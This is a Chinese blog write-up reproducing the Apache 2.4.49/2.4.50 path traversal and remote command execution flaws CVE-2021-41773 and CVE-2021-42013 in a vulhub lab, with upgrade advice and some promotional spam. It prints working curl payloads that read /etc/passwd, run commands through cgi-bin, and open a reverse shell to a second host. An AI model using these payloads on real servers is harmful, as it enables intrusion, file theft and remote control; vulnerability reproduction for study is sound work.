写点什么

漏洞学习篇:CVE 漏洞复现

  • 2021 年 12 月 13 日
  • 本文字数:1100 字

    阅读完需:约 4 分钟

漏洞原理

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:


  • 版本等于 2.4.49

  • <Directory />Require all granted</Directory>(默认情况下是允许被访问的)。


攻击者利用这个漏洞,可以读取到 Apache 服务器 Web 目录以外的其他文件,或者读取 Web 中的脚本源码,或者在开启 cgi 或 cgid 的服务器上执行任意命令。

影响版本

Apache HTTP Server 2.4.49

漏洞复现

这里用 vulhub 环境



【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线


可以看见,apache 是 49 版本的




使用如下 CURL 命令来发送 Payload(其中/icons/必须是一个存在且可访问的目录):


curl -v --path-as-is http://192.168.190.134:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
复制代码



在服务端开启了 gi 或 cgid 这两个 mod 的情况下,这个路径穿越漏洞将可以执行任意 cg 命令:


curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'或者是curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
复制代码



修复方法

升级到 Apache HTTP Server 最新安全版本,或使用 Apache HTTP Server 非 2.4.49 版

CVE-2021-42013

漏洞原理

Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

影响版本

Apache 2.4.49 和 Apache 2.4.50

漏洞复现

启动漏洞环境




curl -v --path-as-is http://192.168.190.134:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
复制代码



在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:


curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'或者curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
复制代码



修复方法

升级到 Apache HTTP Server 安全版本。


github 上已经有这两个漏洞的检测工具




用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
漏洞学习篇:CVE漏洞复现